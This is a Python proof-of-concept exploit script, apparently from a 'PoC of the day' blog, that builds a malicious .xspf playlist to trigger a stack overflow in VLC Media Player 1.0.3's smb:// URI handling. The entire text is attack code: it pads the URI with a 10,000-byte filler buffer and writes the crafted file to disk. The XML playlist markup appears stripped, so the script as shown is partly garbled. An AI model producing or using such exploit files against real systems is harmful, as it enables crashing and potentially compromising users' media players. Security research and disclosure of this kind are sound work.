#!/usr/bin/env python ###################################################################################################### # # VLC Media Player 1.0.3 smb:// URI Handling Remote Stack Overflow PoC # Found By: Dr_IDE # Tested: Windows 7 # Download: http://www.videolan.org # Note: Open the .xspf file. It looks like nothing happens but close VLC you will get a crash # ###################################################################################################### header1 = ("\n") header1 += ("\n") header1 += ("\tPlaylist\n") header1 += ("\t\n") header1 += ("\t\t\n") header1 += ("\t\t\tsmb://example.com@www.example.com/foo/#{") payload = ("\x41" * 2 + "\x42" * 4 + "\x43" * 10000) header2 = ("}\n"); header2 += ("\t\t\t\n"); header2 += ("\t\t\t\t0\n"); header2 += ("\t\t\t\n"); header2 += ("\t\t\n"); header2 += ("\t\n"); header2 += ("\n"); try: f1 = open("vlc_1.0.3.xspf","w"); f1.write(header1 + payload + header2); f1.close(); print("\nExploit file created!\n"); except: print ("Error"); #[pocoftheday.blogspot.com]